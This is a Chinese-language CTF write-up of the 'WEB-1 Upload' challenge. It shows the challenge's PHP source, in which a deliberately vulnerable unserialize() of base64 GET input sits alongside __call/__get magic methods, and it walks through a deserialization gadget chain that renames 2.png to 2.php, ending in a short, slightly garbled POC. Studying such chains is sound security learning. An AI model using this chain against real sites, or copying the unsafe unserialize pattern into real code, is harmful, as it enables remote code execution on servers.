WEB-1 Upload(简化)
index.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| <?php include 're.php'; class register { public $ff; public function index() { print('hahaha'); }
public function __construct() { print('hacked by jiahaoqiu'); }
public function guapi() { if(!$this->ff) { $this->ff->index(); } }
public function __destruct() { print('hacked by jiahaoqiu 12345'); if($this->ff) { echo 'ssss'; $this->ff->index(); } } }
$fan = $_GET['a']; unserialize(base64_decode($fan)); ?>
|
re.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59
| <?php class aa{ public $filename_tmp; public $filename; public $ext; public $arr; public function __construct() { echo "hackded by jiahaoqiu"; } public function upload(){ if(!empty($_FILES)){ $this->filename_tmp=$_FILES['upload_file']['tmp_name']; $this->filename=md5($_FILES['upload_file']['name']).".png"; $this->ext_check(); } if($this->ext) { echo 3; if(getimagesize($this->filename_tmp)) { @copy($this->filename_tmp, $this->filename); @unlink($this->filename_tmp); }else{ echo "error"; } }else{ echo "error"; } } public function __get($name){ echo '2'; return $this->arr[$name]; } public function __call($name, $arguments){ echo '1'; if($this->{$name}){ $this->{$this->{$name}}($arguments); } } public function hello() { echo "hacked by 1"; if($this->{$name}){ $this->{$this->{$name}}($arguments); } } }
?>
|
本题目的是将文件夹中的2.png文件改为2.php,审计源码index.php第17行发现upload函数中第二个分支语句可利用,只要控制filename与filename_tmp属性即可达到将2.png替换为2.php的目的,而要利用upload函数就需要进观察。
做题时还是会最先考虑利用题目中很显眼的__Call与__Get两个魔术方法,发现__Call函数中:
其中$arguments便是函数形参,可以利用此行语句来执行upload()。想要利用__Call函数就需要调用该类中不存在的方法;并且,再调用__Call函数时,形参$name即为被调用的那个不存在的方法的名称;
而__Get函数的利用需要调用该类中不存在的属性,此时再看__Call函数中的if($this->{$name}),竟然用形参$name 这个该类中不存在的方法做判断条件,那么当调用这个与不存在的方法同名的属性时,__Get函数便会执行,从而进入 return $this->arr[$name] 语句,所以当我们控制arr数组中下标为$name的值时便可控制return的返回值,即将$this->{$name}变为我们指定的 arr[$name]的值,结合前面要利用upload函数,将arr[$name]的值变为upload,即可将$this->{$this->{$name}}($arguments)
变为执行$this->upload();

如上,开始构造完整的序列化攻击链,首先要调用upload函数就需要调用Call函数,发现可以利用$this->ff->index(),将register类中的ff属性赋为aa类,这样就能是aa类调用其不存在的方法“index()”,从而调用Call函数,在执行Call函数时,其中的if($this->{$name})即变为
if($this->index),而aa类中又不存在index这个属性,所以会进而调用Get函数,我们再令Get函数中的arr[index]的值为upload,使 Get函数最终将“upload“ return给$this->{$name},便可通过
$this->{$this->{$name}}($arguments)执行$this->upload();
POC:
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?php $a = new aa(); $reg = new register(); $reg -> ff = $a; $a -> arr = array(''index => 'upload'); $a -> filename_tmp = '2.png'; $a -> filename = '2.php'; $a -> ext = '1'; ?>
|
最后更新时间: